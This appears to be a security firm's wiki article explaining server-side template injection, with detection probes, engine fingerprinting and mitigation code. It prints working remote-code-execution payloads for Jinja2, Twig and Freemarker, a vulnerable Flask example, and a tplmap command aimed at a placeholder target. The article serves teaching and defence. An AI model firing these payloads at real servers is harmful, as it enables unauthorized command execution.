Skip to content

Services, Wiki-Artikel und Blog-Beiträge durchsuchen

↑↓NavigierenEnterÖffnenESCSchließen

Server-Side Template Injection (SSTI) - Template Engine Attacks

SSTI occurs when user input is inserted into template engines without escaping. How attackers exploit template syntax for remote code execution.

Table of Contents (4 sections)

Summary: Server-side template injection occurs when user input is inserted directly into template engines without prior escaping. Attackers can exploit template syntax to execute server-side code, potentially escalating to remote code execution. Affected: Jinja2 (Python), Twig (PHP), Freemarker (Java), Handlebars (Node.js). Detectable by {{7*7}} = 49 in the output. Protection: Render templates only using trusted templates.

Server-Side Template Injection (SSTI) occurs when a web application inserts user input directly into template strings that are then processed by a template engine. Unlike Cross-Site Scripting (XSS - injection in the browser), SSTI takes place on the server side and allows for direct code execution on the server - one of the most dangerous web vulnerabilities of all.

The Basic Principle

# Vulnerable code (Python/Jinja2):
from flask import Flask, render_template_string, request
app = Flask(__name__)

@app.route('/hello')
def hello():
    name = request.args.get('name')
    # UNSAFE: User input directly in template string!
    template = f"<h1>Hello {name}!</h1>"
    return render_template_string(template)

Normal usage:

GET /hello?name=Alice
→ Template: <h1>Hello Alice!</h1>

SSTI Detection (Step 1):

GET /hello?name={{7*7}}
→ Template: <h1>Hello 49!</h1>  ← Jinja2 calculated 7*7!
→ SSTI confirmed! (XSS would output {{7*7}} unchanged)

Engine identification (Step 2):

PayloadResultEngine
{{7*7}} → 49 AND {{7*&#x27;7&#x27;}}&#x27;7777777&#x27;Twig (PHP)
{{7*7}} → 49 AND {{7*&#x27;7&#x27;}} → 49Jinja2 (Python)
${7*7} → 49Freemarker (Java)
#{7*7} → 49Mako (Python)
&lt;%= 7*7 %&gt; → 49ERB (Ruby)

SSTI Exploitation by Template Engine

Jinja2 (Python/Flask)

Detection: {{7*7}} → 49

Information Leak:

{{config}}           → Flask configuration + SECRET_KEY!
{{config.items()}}   → All configuration values

RCE via Python Object Hierarchy (conceptual):

  • Jinja2 allows access to Python objects via __class__, __mro__, __subclasses__() attributes
  • Traversal up to sys, os, subprocess modules
  • From there: Operating system commands can be invoked
{{cycler.__init__.__globals__.os.popen(&#x27;id&#x27;).read()}}
→ Returns user/group of the web server process → RCE!

Twig (PHP)

Detection: {{7*7}} → 49 AND {{7*&#x27;7&#x27;}}&#x27;7777777&#x27;

RCE Method:

{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}
→ Registers system() as a filter → Command execution

Freemarker (Java)

Exploit: ${7*7} → 49

RCE via Execute class:

<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
→ Freemarker instantiates Execute class → OS command

ERB (Ruby on Rails)

Detection: &lt;%= 7*7 %&gt; → 49

Backtick syntax in ERB → Subshell execution → RCE

Handlebars (Node.js)

Detection: {{7}} → 7 (Handlebars escapes, restricts)

  • Prototype pollution combination required for RCE
  • Less direct than Jinja2 or Twig

Detection in Penetration Testing

Test all input fields

  • GET/POST parameters
  • URL path segments
  • HTTP headers (User-Agent, X-Custom-Header)
  • Cookie values
  • JSON fields
  • Email templates (often overlooked!)

Math Test (Engine-agnostic)

PayloadEngine
{{7*7}}Jinja2/Twig: 49
${7*7}Freemarker/OGNL: 49
#{7*7}Mako/EL: 49
&lt;%= 7*7 %&gt;ERB: 49

No result (literal {{7*7}}) → no SSTI, but check for XSS!

Difference between SSTI and XSS

  • XSS payload: <script>alert(1)</script> → Executed in the browser
  • SSTI payload: {{7*7}} → 49 calculated on the server!
  • XSS and SSTI can exist simultaneously

Automated (tplmap)

python3 tplmap.py -u "https://target.com/hello?name=*"
# → Automatic engine detection + exploitation testing
# → Like sqlmap, but for SSTI

Blind SSTI (no output visible)

  • Time-Based: {{6000000*6000000}} → Measurable CPU spike?
  • OOB: DNS exfiltration via network requests from templates

Email Template Testing

  • Many template engines used for emails
  • "Your name: {{user_input}}" in email body
  • SSTI in email → RCE even though no HTTP response is returned!
  • Indicator: Email displays calculated expression instead of literal

Mitigation Measures

> Basic Rule: NEVER insert user input into template strings! Pass user input as template variables!

Python (Jinja2/Flask)

# WRONG - User input in template string:
template_str = "Hello " + user_name + "!"
return render_template_string(template_str)

# CORRECT - User input as a template variable:
return render_template_string(
    "Hello {{ name }}!",  # Fixed template (no user input!)
    name=user_name         # User input as a safe context value
)
# Jinja2 automatically escapes {{ name }} (HTML entities)!

# BETTER - Load template from file:
return render_template(&#x27;hello.html&#x27;, name=user_name)
# Templates in the /templates/ folder, only trusted files!

PHP (Twig)

# WRONG:
$template = $twig->createTemplate("Hello " . $user_name);

# RIGHT:
$template = $twig->load(&#x27;hello.html.twig&#x27;);
echo $template->render([&#x27;name&#x27; => $user_name]);

Java (Freemarker)

// WRONG: Create template string from user input
Template t = new Template("name", new StringReader(userInput), cfg);

// CORRECT: Load template from file
Template t = cfg.getTemplate("hello.ftl");
Map<string, object=""> root = new HashMap<>();
root.put("name", userName);  // As a variable, not in the template!
t.process(root, out);

Sandbox mode (when user templates are unavoidable)

# Jinja2 SandboxedEnvironment:
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string(user_template)
# Restricted namespace: no __class__, no __globals__
# But: Sandbox is not infallible! Escapes are possible!
// Twig Sandbox:
$policy = new SecurityPolicy($tags, $filters, $methods, $properties, $functions);
$sandbox = new SandboxExtension($policy);
$twig->addExtension($sandbox);
// Only explicitly allowed tags/filters/methods can be used

Additional Measures

  • Least Privilege: Do not run the web server as root
  • WAF: Filter known SSTI patterns ({{, ${, &lt;%=)
  • Monitoring: Template engine errors → SOC alert
  • Output encoding: Actively check this even for template engines
  • Code reviews: Flag every render_template_string that includes user input</string,>

Questions about this topic?

Our experts advise you free of charge and without obligation.

Free Consultation

About the Author

Chris Wojzechowski
Chris Wojzechowski

Geschäftsführender Gesellschafter

E-Mail

Geschäftsführender Gesellschafter der AWARE7 GmbH mit langjähriger Expertise in Informationssicherheit, Penetrationstesting und IT-Risikomanagement. Absolvent des Masterstudiengangs Internet-Sicherheit an der Westfälischen Hochschule (if(is), Prof. Norbert Pohlmann). Bestseller-Autor im Wiley-VCH Verlag und Lehrbeauftragter der ASW-Akademie. Einschätzungen zu Cybersecurity und digitaler Souveränität erschienen u.a. in Welt am Sonntag, WDR, Deutschlandfunk und Handelsblatt.

10 Publikationen
  • Einsatz von elektronischer Verschlüsselung - Hemmnisse für die Wirtschaft (2018)
  • Kompass IT-Verschlüsselung - Orientierungshilfen für KMU (2018)
  • IT Security Day 2025 - Live Hacking: KI in der Cybersicherheit (2025)
  • Live Hacking - Credential Stuffing: Finanzrisiken jenseits Ransomware (2025)
  • Keynote: Live Hacking Show - Ein Blick in die Welt der Cyberkriminalität (2025)
  • Analyse von Angriffsflächen bei Shared-Hosting-Anbietern (2024)
  • Gänsehaut garantiert: Die schaurigsten Funde aus dem Leben eines Pentesters (2022)
  • IT Security Zertifizierungen - CISSP, T.I.S.P. & Co (Live-Webinar) (2023)
  • Sicherheitsforum Online-Banking - Live Hacking (2021)
  • Nipster im Netz und das Ende der Kreidezeit (2017)
IT-Grundschutz-Praktiker (TÜV) IT Risk Manager (DGI) § 8a BSIG Prüfverfahrenskompetenz Ausbilderprüfung (IHK)
This article was last edited on 03/29/2026. Responsible: Chris Wojzechowski, Geschäftsführender Gesellschafter at AWARE7 GmbH. License: CC BY 4.0 - free use with attribution: "AWARE7 GmbH, https://a7.de"

Rufen Sie uns an

Mo-Fr, 8:00-17:00 Uhr - persönlich und unverbindlich.

0209 8830 6764
Jetzt anrufen